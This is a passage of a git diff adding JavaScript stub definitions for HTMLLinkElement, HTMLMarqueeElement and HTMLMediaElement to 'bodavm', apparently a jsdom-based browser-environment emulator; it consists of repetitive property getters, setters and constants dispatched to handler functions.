bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLinkElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLinkElement.js new file mode 100644 index 00000000..aa42091c --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLinkElement.js @@ -0,0 +1,24 @@ +// HTMLLinkElement对象 +bodavm.memory.globalobj['HTMLLinkElement'] = function HTMLLinkElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLinkElement'], "HTMLLinkElement"); +bodavm.memory.globalobj['HTMLLinkElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLinkElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "hreflang", {configurable:true, enumerable:true, get:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_get", arguments)}, set:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "as", {configurable:true, enumerable:true, get:function as (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_get", arguments)}, set:function as (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSrcset", {configurable:true, enumerable:true, get:function imageSrcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_get", arguments)}, set:function imageSrcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSizes", {configurable:true, enumerable:true, get:function imageSizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_get", arguments)}, set:function imageSizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rev", {configurable:true, enumerable:true, get:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_get", arguments)}, set:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sheet_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_get", arguments)}, set:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMarqueeElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMarqueeElement.js new file mode 100644 index 00000000..9bcb824e --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMarqueeElement.js @@ -0,0 +1,18 @@ +// HTMLMarqueeElement对象 +bodavm.memory.globalobj['HTMLMarqueeElement'] = function HTMLMarqueeElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMarqueeElement'], "HTMLMarqueeElement"); +bodavm.memory.globalobj['HTMLMarqueeElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMarqueeElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "behavior", {configurable:true, enumerable:true, get:function behavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_get", arguments)}, set:function behavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollAmount", {configurable:true, enumerable:true, get:function scrollAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_get", arguments)}, set:function scrollAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollDelay", {configurable:true, enumerable:true, get:function scrollDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_get", arguments)}, set:function scrollDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "trueSpeed", {configurable:true, enumerable:true, get:function trueSpeed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_get", arguments)}, set:function trueSpeed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "start", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "stop", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMediaElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMediaElement.js new file mode 100644 index 00000000..9bb87549 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMediaElement.js @@ -0,0 +1,66 @@ +// HTMLMediaElement对象 +bodavm.memory.globalobj['HTMLMediaElement'] = function HTMLMediaElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMediaElement'], "HTMLMediaElement"); +bodavm.memory.globalobj['HTMLMediaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMediaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", {configurable:false, enumerable:true, writable:false, value:4}); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "error_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentSrc_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "networkState", {configurable:true, enumerable:true, get:function networkState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "networkState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preload", {configurable:true, enumerable:true, get:function preload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_get", arguments)}, set:function preload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "buffered", {configurable:true, enumerable:true, get:function buffered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "buffered_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "readyState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seeking", {configurable:true, enumerable:true, get:function seeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seeking_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_get", arguments)}, set:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "duration_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "paused", {configurable:true, enumerable:true, get:function paused (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "paused_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultPlaybackRate", {configurable:true, enumerable:true, get:function defaultPlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_get", arguments)}, set:function defaultPlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_get", arguments)}, set:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "played", {configurable:true, enumerable:true, get:function played (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "played_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seekable", {configurable:true, enumerable:true, get:function seekable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seekable_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "ended", {configurable:true, enumerable:true, get:function ended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "ended_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "autoplay", {configurable:true, enumerable:true, get:function autoplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_get", arguments)}, set:function autoplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controls", {configurable:true, enumerable:true, get:function controls (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_get", arguments)}, set:function controls (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controlsList", {configurable:true, enumerable:true, get:function controlsList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_get", arguments)}, set:function controlsList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "volume", {configurable:true, enumerable:true, get:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_get", arguments)}, set:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "muted", {configurable:true, enumerable:true, get:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_get", arguments)}, set:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultMuted", {configurable:true, enumerable:true, get:function defaultMuted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_get", arguments)}, set:function defaultMuted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "textTracks", {configurable:true, enumerable:true, get:function textTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "textTracks_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitAudioDecodedByteCount", {configurable:true, enumerable:true, get:function webkitAudioDecodedByteCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitAudioDecodedByteCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitVideoDecodedByteCount", {configurable:true, enumerable:true, get:function webkitVideoDecodedByteCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitVideoDecodedByteCount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onencrypted", {configurable:true, enumerable:true, get:function onencrypted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_get", arguments)}, set:function onencrypted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onwaitingforkey", {configurable:true, enumerable:true, get:function onwaitingforkey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_get", arguments)}, set:function onwaitingforkey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "srcObject", {configurable:true, enumerable:true, get:function srcObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_get", arguments)}, set:function srcObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "addTextTrack", {configurable:true, enumerable:true, writable:true, value:function addTextTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "addTextTrack", 